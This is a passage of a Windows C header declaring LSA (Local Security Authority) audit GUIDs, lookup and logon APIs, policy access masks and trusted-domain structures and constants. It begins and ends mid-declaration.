); #ifdef INITGUID #define Audit_AccountLogon_Others_defined #endif #endif /* 0cce9242-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) DEFINE_GUID( Audit_AccountLogon_KerbCredentialValidation, 0x0cce9242, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_KerbCredentialValidation_defined #endif #endif /* 0cce9243-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) DEFINE_GUID( Audit_Logon_NPS, 0x0cce9243, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_NPS_defined #endif #endif /* 0cce9244-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) DEFINE_GUID( Audit_ObjectAccess_DetailedFileShare, 0x0cce9244, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_DetailedFileShare_defined #endif #endif #endif // DEFINE_GUID // // All categories are named as // #ifdef DEFINE_GUID /* 69979848-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_defined) DEFINE_GUID( Audit_System, 0x69979848, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_defined #endif #endif /* 69979849-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_defined) DEFINE_GUID( Audit_Logon, 0x69979849, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_defined #endif #endif /* 6997984a-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) DEFINE_GUID( Audit_ObjectAccess, 0x6997984a, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_defined #endif #endif /* 6997984b-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) DEFINE_GUID( Audit_PrivilegeUse, 0x6997984b, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_defined #endif #endif /* 6997984c-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) DEFINE_GUID( Audit_DetailedTracking, 0x6997984c, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_defined #endif #endif /* 6997984d-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) DEFINE_GUID( Audit_PolicyChange, 0x6997984d, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_defined #endif #endif /* 6997984e-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) DEFINE_GUID( Audit_AccountManagement, 0x6997984e, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_defined #endif #endif /* 6997984f-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) DEFINE_GUID( Audit_DirectoryServiceAccess, 0x6997984f, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DirectoryServiceAccess_defined #endif #endif /* 69979850-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) DEFINE_GUID( Audit_AccountLogon, 0x69979850, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_defined #endif #endif #endif // DEFINE_GUID // 04.06.2011 - added #if !defined(_NTLSA_IFS_) #define _NTLSA_IFS_ #if !defined(_LSALOOKUP_) #define _LSALOOKUP_ #if defined(_NTDEF_) typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef STRING LSA_STRING, *PLSA_STRING; typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; #else // _NTDEF_ typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength/2), length_is(Length/2)] #endif // MIDL_PASS PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef struct _LSA_STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } LSA_STRING, *PLSA_STRING; typedef struct _LSA_OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PLSA_UNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; #endif // _NTDEF_ typedef struct _LSA_TRUST_INFORMATION { LSA_UNICODE_STRING Name; // The name of the domain PSID Sid; // ptr to domain Sid } LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; typedef struct _LSA_REFERENCED_DOMAIN_LIST { ULONG Entries; // count of domains in domain array PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data } LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; #if (_WIN32_WINNT >= 0x0501) typedef struct _LSA_TRANSLATED_SID2 { SID_NAME_USE Use; PSID Sid; LONG DomainIndex; ULONG Flags; } LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; #endif typedef struct _LSA_TRANSLATED_NAME { SID_NAME_USE Use; LSA_UNICODE_STRING Name; LONG DomainIndex; } LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { LSA_UNICODE_STRING DomainName; PSID DomainSid; } POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; typedef struct _POLICY_DNS_DOMAIN_INFO { LSA_UNICODE_STRING Name; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING DnsForestName; GUID DomainGuid; PSID Sid; } POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; #define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 #define LOOKUP_TRANSLATE_NAMES 0x00000800 typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { AccountDomainInformation = 5, DnsDomainInformation = 12 } LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; NTSTATUS LsaLookupOpenLocalPolicy( IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK AccessMask, _Inout_ PLSA_LOOKUP_HANDLE PolicyHandle ); NTSTATUS LsaLookupClose( IN LSA_LOOKUP_HANDLE ObjectHandle ); NTSTATUS LsaLookupTranslateSids( IN LSA_LOOKUP_HANDLE PolicyHandle, IN ULONG Count, IN PSID *Sids, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_NAME *Names ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS LsaLookupTranslateNames( IN LSA_LOOKUP_HANDLE PolicyHandle, IN ULONG Flags, IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID2 *Sids ); #endif NTSTATUS LsaLookupGetDomainInfo( IN LSA_LOOKUP_HANDLE PolicyHandle, IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, OUT PVOID *DomainInfo ); NTSTATUS LsaLookupFreeMemory( IN PVOID Buffer ); #endif // _LSALOOKUP_ #define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) #define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) #define LSA_MODE_MANDATORY_ACCESS (0x00000004L) #define LSA_MODE_LOG_FULL (0x00000008L) typedef enum _SECURITY_LOGON_TYPE { UndefinedLogonType = 0, // This is used to specify an undefined logon type Interactive = 2, // Interactively logged on (locally or remotely) Network, // Accessing system via network Batch, // Started via a batch queue Service, // Service started by service controller Proxy, // Proxy logon Unlock, // Unlock workstation NetworkCleartext, // Network logon with cleartext credentials NewCredentials, // Clone caller, new default credentials //The types below only exist in Windows XP and greater #if (_WIN32_WINNT >= 0x0501) RemoteInteractive, // Remote, yet interactive. Terminal server CachedInteractive, // Try cached credentials without hitting the net. // The types below only exist in Windows Server 2003 and greater #endif #if (_WIN32_WINNT >= 0x0502) CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose CachedUnlock // Cached Unlock workstation #endif } SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; #if !defined(_NTLSA_AUDIT_) #define _NTLSA_AUDIT_ // // The following enumerated type is used between the reference monitor and // LSA in the generation of audit messages. It is used to indicate the // type of data being passed as a parameter from the reference monitor // to LSA. LSA is responsible for transforming the specified data type // into a set of unicode strings that are added to the event record in // the audit log. // typedef enum _SE_ADT_PARAMETER_TYPE { SeAdtParmTypeNone = 0, //Produces 1 parameter SeAdtParmTypeString, //Produces 1 parameter. SeAdtParmTypeFileSpec, SeAdtParmTypeUlong, //Produces 1 parameter SeAdtParmTypeSid, //Produces 1 parameter. SeAdtParmTypeLogonId, //Produces 4 parameters. SeAdtParmTypeNoLogonId, //Produces 3 parameters. SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. SeAdtParmTypePrivs, //Produces 1 parameter with formatting. SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. SeAdtParmTypeHexUlong, //Produces 1 parameter SeAdtParmTypePtr, //Produces 1 parameter SeAdtParmTypeTime, //Produces 2 parameters SeAdtParmTypeGuid, //Produces 1 parameter SeAdtParmTypeLuid, // SeAdtParmTypeHexInt64, //Produces 1 parameter SeAdtParmTypeStringList, //Produces 1 parameter SeAdtParmTypeSidList, //Produces 1 parameter SeAdtParmTypeDuration, //Produces 1 parameters SeAdtParmTypeUserAccountControl,//Produces 3 parameters SeAdtParmTypeNoUac, //Produces 3 parameters SeAdtParmTypeMessage, //Produces 1 Parameter SeAdtParmTypeDateTime, //Produces 1 Parameter SeAdtParmTypeSockAddr, // Produces 2 parameters SeAdtParmTypeSD, // Produces 1 parameters SeAdtParmTypeLogonHours, // Produces 1 parameters SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. SeAdtParmTypeUlongNoConv, // Produces 1 parameter. SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter SeAdtParmTypeAccessReason } SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; #if !defined(GUID_DEFINED) #include #endif /* GUID_DEFINED */ typedef struct _SE_ADT_OBJECT_TYPE { GUID ObjectType; USHORT Flags; #define SE_ADT_OBJECT_ONLY 0x1 USHORT Level; ACCESS_MASK AccessMask; } SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { SE_ADT_PARAMETER_TYPE Type; ULONG Length; ULONG_PTR Data[2]; PVOID Address; } SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; typedef struct _SE_ADT_ACCESS_REASON{ ACCESS_MASK AccessMask; ULONG AccessReasons[32]; ULONG ObjectTypeIndex; ULONG AccessGranted; PSECURITY_DESCRIPTOR SecurityDescriptor; } SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; #define SE_MAX_AUDIT_PARAMETERS 32 #define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 typedef struct _SE_ADT_PARAMETER_ARRAY { ULONG CategoryId; ULONG AuditId; ULONG ParameterCount; ULONG Length; USHORT FlatSubCategoryId; USHORT Type; ULONG Flags; SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; } SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; #define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 #define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 #define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 #define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 #define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 #define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) #endif // !defined(_NTLSA_AUDIT_) typedef enum _POLICY_AUDIT_EVENT_TYPE { AuditCategorySystem = 0, AuditCategoryLogon, AuditCategoryObjectAccess, AuditCategoryPrivilegeUse, AuditCategoryDetailedTracking, AuditCategoryPolicyChange, AuditCategoryAccountManagement, AuditCategoryDirectoryServiceAccess, AuditCategoryAccountLogon } POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; #define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) #define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) #define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) #define POLICY_AUDIT_EVENT_NONE (0x00000004L) #define POLICY_AUDIT_EVENT_MASK \ (POLICY_AUDIT_EVENT_SUCCESS | \ POLICY_AUDIT_EVENT_FAILURE | \ POLICY_AUDIT_EVENT_UNCHANGED | \ POLICY_AUDIT_EVENT_NONE) #define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) NTSTATUS NTAPI LsaRegisterLogonProcess ( IN PLSA_STRING LogonProcessName, OUT PHANDLE LsaHandle, OUT PLSA_OPERATIONAL_MODE SecurityMode ); NTSTATUS NTAPI LsaLogonUser ( IN HANDLE LsaHandle, IN PLSA_STRING OriginName, IN SECURITY_LOGON_TYPE LogonType, IN ULONG AuthenticationPackage, IN PVOID AuthenticationInformation, IN ULONG AuthenticationInformationLength, _In_opt_ PTOKEN_GROUPS LocalGroups, IN PTOKEN_SOURCE SourceContext, OUT PVOID *ProfileBuffer, OUT PULONG ProfileBufferLength, OUT PLUID LogonId, OUT PHANDLE Token, OUT PQUOTA_LIMITS Quotas, OUT PNTSTATUS SubStatus ); NTSTATUS NTAPI LsaLookupAuthenticationPackage ( IN HANDLE LsaHandle, IN PLSA_STRING PackageName, OUT PULONG AuthenticationPackage ); NTSTATUS NTAPI LsaFreeReturnBuffer ( IN PVOID Buffer ); NTSTATUS NTAPI LsaCallAuthenticationPackage ( IN HANDLE LsaHandle, IN ULONG AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT OPTIONAL PVOID *ProtocolReturnBuffer, OUT OPTIONAL PULONG ReturnBufferLength, OUT OPTIONAL PNTSTATUS ProtocolStatus ); NTSTATUS NTAPI LsaDeregisterLogonProcess ( IN HANDLE LsaHandle ); NTSTATUS NTAPI LsaConnectUntrusted ( OUT PHANDLE LsaHandle ); //////////////////////////////////////////////////////////////////////////// // // // Local Security Policy Administration API datatypes and defines // // // //////////////////////////////////////////////////////////////////////////// #define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L #define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L #define POLICY_GET_PRIVATE_INFORMATION 0x00000004L #define POLICY_TRUST_ADMIN 0x00000008L #define POLICY_CREATE_ACCOUNT 0x00000010L #define POLICY_CREATE_SECRET 0x00000020L #define POLICY_CREATE_PRIVILEGE 0x00000040L #define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L #define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L #define POLICY_AUDIT_LOG_ADMIN 0x00000200L #define POLICY_SERVER_ADMIN 0x00000400L #define POLICY_LOOKUP_NAMES 0x00000800L #define POLICY_NOTIFICATION 0x00001000L #define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ POLICY_VIEW_LOCAL_INFORMATION |\ POLICY_VIEW_AUDIT_INFORMATION |\ POLICY_GET_PRIVATE_INFORMATION |\ POLICY_TRUST_ADMIN |\ POLICY_CREATE_ACCOUNT |\ POLICY_CREATE_SECRET |\ POLICY_CREATE_PRIVILEGE |\ POLICY_SET_DEFAULT_QUOTA_LIMITS |\ POLICY_SET_AUDIT_REQUIREMENTS |\ POLICY_AUDIT_LOG_ADMIN |\ POLICY_SERVER_ADMIN |\ POLICY_LOOKUP_NAMES) #define POLICY_READ (STANDARD_RIGHTS_READ |\ POLICY_VIEW_AUDIT_INFORMATION |\ POLICY_GET_PRIVATE_INFORMATION) #define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ POLICY_TRUST_ADMIN |\ POLICY_CREATE_ACCOUNT |\ POLICY_CREATE_SECRET |\ POLICY_CREATE_PRIVILEGE |\ POLICY_SET_DEFAULT_QUOTA_LIMITS |\ POLICY_SET_AUDIT_REQUIREMENTS |\ POLICY_AUDIT_LOG_ADMIN |\ POLICY_SERVER_ADMIN) #define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ POLICY_VIEW_LOCAL_INFORMATION |\ POLICY_LOOKUP_NAMES) typedef struct _LSA_TRANSLATED_SID { SID_NAME_USE Use; ULONG RelativeId; LONG DomainIndex; } LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; typedef enum _POLICY_LSA_SERVER_ROLE { PolicyServerRoleBackup = 2, PolicyServerRolePrimary } POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; #if (_WIN32_WINNT < 0x0502) typedef enum _POLICY_SERVER_ENABLE_STATE { PolicyServerEnabled = 2, PolicyServerDisabled } POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; #endif typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; typedef enum _POLICY_INFORMATION_CLASS { PolicyAuditLogInformation = 1, PolicyAuditEventsInformation, PolicyPrimaryDomainInformation, PolicyPdAccountInformation, PolicyAccountDomainInformation, PolicyLsaServerRoleInformation, PolicyReplicaSourceInformation, PolicyDefaultQuotaInformation, PolicyModificationInformation, PolicyAuditFullSetInformation, PolicyAuditFullQueryInformation, PolicyDnsDomainInformation, PolicyDnsDomainInformationInt, PolicyLocalAccountDomainInformation, PolicyLastEntry } POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; typedef struct _POLICY_AUDIT_LOG_INFO { ULONG AuditLogPercentFull; ULONG MaximumLogSize; LARGE_INTEGER AuditRetentionPeriod; BOOLEAN AuditLogFullShutdownInProgress; LARGE_INTEGER TimeToShutdown; ULONG NextAuditRecordId; } POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; typedef struct _POLICY_AUDIT_EVENTS_INFO { BOOLEAN AuditingMode; PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; ULONG MaximumAuditEventCount; } POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { ULONG MaximumSubCategoryCount; PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; } POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; typedef struct _POLICY_AUDIT_CATEGORIES_INFO { ULONG MaximumCategoryCount; PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; } POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; // // Valid bits for Per user policy mask. // #define PER_USER_POLICY_UNCHANGED (0x00) #define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) #define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) #define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) #define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) #define PER_USER_AUDIT_NONE (0x10) #define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ PER_USER_AUDIT_SUCCESS_EXCLUDE | \ PER_USER_AUDIT_FAILURE_INCLUDE | \ PER_USER_AUDIT_FAILURE_EXCLUDE | \ PER_USER_AUDIT_NONE) typedef struct _POLICY_PRIMARY_DOMAIN_INFO { LSA_UNICODE_STRING Name; PSID Sid; } POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; typedef struct _POLICY_PD_ACCOUNT_INFO { LSA_UNICODE_STRING Name; } POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; typedef struct _POLICY_LSA_SERVER_ROLE_INFO { POLICY_LSA_SERVER_ROLE LsaServerRole; } POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; typedef struct _POLICY_REPLICA_SOURCE_INFO { LSA_UNICODE_STRING ReplicaSource; LSA_UNICODE_STRING ReplicaAccountName; } POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; typedef struct _POLICY_DEFAULT_QUOTA_INFO { QUOTA_LIMITS QuotaLimits; } POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; typedef struct _POLICY_MODIFICATION_INFO { LARGE_INTEGER ModifiedId; LARGE_INTEGER DatabaseCreationTime; } POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; typedef struct _POLICY_AUDIT_FULL_SET_INFO { BOOLEAN ShutDownOnFull; } POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { BOOLEAN ShutDownOnFull; BOOLEAN LogIsFull; } POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { #if (_WIN32_WINNT <= 0x0500) PolicyDomainQualityOfServiceInformation = 1, #endif PolicyDomainEfsInformation = 2, PolicyDomainKerberosTicketInformation } POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; #if (_WIN32_WINNT < 0x0502) #define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 #define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 #define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 #define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 #define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 #define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 #define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 #define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 // // Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. // #endif #if (_WIN32_WINNT == 0x0500) typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { ULONG QualityOfService; } POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; #endif typedef struct _POLICY_DOMAIN_EFS_INFO { ULONG InfoLength; PUCHAR EfsBlob; } POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; #define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { ULONG AuthenticationOptions; LARGE_INTEGER MaxServiceTicketAge; LARGE_INTEGER MaxTicketAge; LARGE_INTEGER MaxRenewAge; LARGE_INTEGER MaxClockSkew; LARGE_INTEGER Reserved; } POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { PolicyNotifyAuditEventsInformation = 1, PolicyNotifyAccountDomainInformation, PolicyNotifyServerRoleInformation, PolicyNotifyDnsDomainInformation, PolicyNotifyDomainEfsInformation, PolicyNotifyDomainKerberosTicketInformation, PolicyNotifyMachineAccountPasswordInformation, PolicyNotifyGlobalSaclInformation, PolicyNotifyMax // must always be the last entry } POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; typedef PVOID LSA_HANDLE, *PLSA_HANDLE; typedef enum _TRUSTED_INFORMATION_CLASS { TrustedDomainNameInformation = 1, TrustedControllersInformation, TrustedPosixOffsetInformation, TrustedPasswordInformation, TrustedDomainInformationBasic, TrustedDomainInformationEx, TrustedDomainAuthInformation, TrustedDomainFullInformation, TrustedDomainAuthInformationInternal, TrustedDomainFullInformationInternal, TrustedDomainInformationEx2Internal, TrustedDomainFullInformation2Internal, TrustedDomainSupportedEncryptionTypes, } TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; typedef struct _TRUSTED_DOMAIN_NAME_INFO { LSA_UNICODE_STRING Name; } TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; typedef struct _TRUSTED_CONTROLLERS_INFO { ULONG Entries; PLSA_UNICODE_STRING Names; } TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; typedef struct _TRUSTED_POSIX_OFFSET_INFO { ULONG Offset; } TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; typedef struct _TRUSTED_PASSWORD_INFO { LSA_UNICODE_STRING Password; LSA_UNICODE_STRING OldPassword; } TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; #define TRUST_DIRECTION_DISABLED 0x00000000 #define TRUST_DIRECTION_INBOUND 0x00000001 #define TRUST_DIRECTION_OUTBOUND 0x00000002 #define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) #define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before #define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 #define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm #if (_WIN32_WINNT < 0x0502) #define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm #endif // Levels 0x5 - 0x000FFFFF reserved for future use // Provider specific trust levels are from 0x00100000 to 0xFFF00000 #define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity #define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client #if (_WIN32_WINNT == 0x0500) #define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust // to our parent in the org tree... #define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust // to another tree root in a forest... // Trust attributes 0x00000004 through 0x004FFFFF reserved for future use // Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use // Trust attributes 0x01000000 through 0xFF000000 are reserved for user #define TRUST_ATTRIBUTES_VALID 0xFF02FFFF #endif #if (_WIN32_WINNT < 0x0502) #define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains #else #define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains #endif #if (_WIN32_WINNT >= 0x0501) #define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information #if (_WIN32_WINNT >= 0x0502) #define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise #define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest #define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes #if (_WIN32_WINNT >= 0x0600) #define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 #define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypt KRB TGTs #endif // Trust attributes 0x00000040 through 0x00200000 are reserved for future use #else // Trust attributes 0x00000010 through 0x00200000 are reserved for future use #endif // Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used // Trust attributes 0x01000000 through 0x80000000 are reserved for user #define TRUST_ATTRIBUTES_VALID 0xFF03FFFF #endif #define TRUST_ATTRIBUTES_USER 0xFF000000 typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { LSA_UNICODE_STRING Name; 